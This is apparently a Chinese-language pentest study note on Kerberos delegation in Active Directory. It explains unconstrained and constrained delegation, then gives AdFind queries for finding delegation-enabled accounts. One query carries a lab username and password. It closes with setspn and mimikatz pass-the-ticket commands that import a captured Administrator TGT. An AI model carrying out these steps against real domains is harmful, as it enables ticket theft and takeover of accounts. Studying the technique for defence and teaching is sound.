委派

1、委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派。

User访问主机s2上的HTTP服务，而HTTP服务需要请求其他主机的SQLServer数据库，但是S2并不知道User是否有权限访问SQLServer，这时HTTP服务会利用User的身份去访问SQLServer，如果User有权限访问SQLServer服务才能访问成功。而委派主要分为非约束委派（Unconstraineddelegation）和约束委派（Constrained delegation）两个方式。

非约束委派

非约束委派在Kerberos中实现时，User会将从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内任意其他服务，所以被称为非约束委派。

流程:

1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT（forwardable TGT，为了方便我们称为TGT1）。
2. KDC在KRB_AS_REP消息中返回TGT1
3. 用户再通过TGT1向KDC请求转发TGT（forwardedTGT，我们称为TGT2）。
4. 在KRB_TGS_REP消息中返回转发TGT2
5. 用户使用TGT1向KDC申请访问Service1的ST（ServiceTicket）。
6. TGS返回给用户一个ST。
7. 用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据
9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10. Service1以用户的名义向Service2发送KRB_AP_REQ请求。
11. Service2响应步骤10中Service1的请求。
12. Service1响应步骤7中用户的请求
13. 在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请
求任意服务。
14. KDC返回步骤13中请求的票据。
15和16即为Service1通过模拟用户来访问其他Service。

大致总结一下，用户向KDC申请了两个可转发TGT，分别是TGT1和TGT2。再利用TGT1向KDC申请访问Service1的ST，最后用户将TGT1和ST、TGT2、TGT2的SessionKey都发送给了Service1。之后Service1可以使用用户的TGT2向KDC发出申请Service2的ST票据，进而能够以用户的身份访问Service2服务。

非约束委派的设置:

Windows域中可以直接在账户属性中设置：

约束委派

由于非约束委派的不安全性，微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务，而是对发送给service1的认证信息做了限制，不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self（Service for User to Self）和S4U2Proxy（Service forUser to Proxy）的Kerberos协议扩展。
从下图可以看到整个过程其实可以分为两个部分，第一个是S4U2Self的过程（流程1-4），第二个是S4U2Proxy的过程（流程5-10）。

流程:

1. 用户向Service1发送请求。
2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问
Service1的TGT，然后通过S4U2self扩展模拟用户向KDC请求ST。
3. KDC这时返回给Service1一个用于用户验证Service1的ST（我们称为ST1），并且Service1用这个ST1完成
和用户的验证过程。
4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证，然后响应用户。
注：这个过程中其实Service1是获得了用户的TGT和ST1的，但是S4U2Self扩展不允许Service1代表用户去请求
其他的服务。
5. 用户再次向Service1发起请求，此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个
点：
A.Service1已经验证通过，并且有一个有效的TGT。
B.Service1有从用户到Service1的forwardableST（可转发ST）。个人认为这里的forwardable ST其实也就是
ST1。
6. Service1代表用户向Service2请求一个用于认证Service2的ST（我们称为ST2）。用户在ST1中通过
cname（client name）和crealm（client realm）字段标识。
7. KDC在接收到步骤6中Service1的请求之后，会验证PAC（特权属性证书，在第一篇中有说明）的数字签
名。如果验证成功或者这个请求没有PAC（不能验证失败），KDC将返回ST2给Service1，不过这个ST2中
cname和crealm标识的是用户而不是Service1。
8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
9. Service2响应Service1的请求。
10. Service1响应用户的请求。

在这个过程中，S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性，并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2，并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档，和RFC4120的内容。
同时注意forwardable字段，有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的，如果没有标记则不能进行转发。
大致总结一下，约束委派与非约束委派相比，限制了Service1以用户的身份访问其他的服务。

约束委派的设置

可以在账户属性中将SRV-DB-ODAY的委派方式更改为约束委派

2、发现域中的委派用户或者主机

查找非约束委派用户

AdFind.exe -b "DC=study,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找非约束委派主机

AdFind.exe -b "DC=study,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找约束委派用户

AdFind.exe -h 192.168.52.130 -u testsqladmin -up 1qaz@WSXaa -b "DC=study,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3、委派攻击利用

非约束委派的利用

假设已经获取了一个已经配置了委派的账户权限或者是密码，现在我们通过这些条件来攻击其他账户。
在域中只有服务账户才能有委派功能，所以先把用户sqladmin设置为服务账号。

setspn -U -A variant/golden sqladmin

setspn -l sqladmin

查看配置成功

然后在“AD用户和计算机”中将sqladmin设置为非约束委派模式

在域控上使用 Administrator 访问 sqladmin 所在主机 Srv-Web-Kit 的SMB服务。
通过

kerberos::ptt [0;a17510]-2-0-60a10000-Administrator@krbtgt-ROOTKIT.ORG.kirbi

命令将TGT内容导入到当前会话中,即可成功访问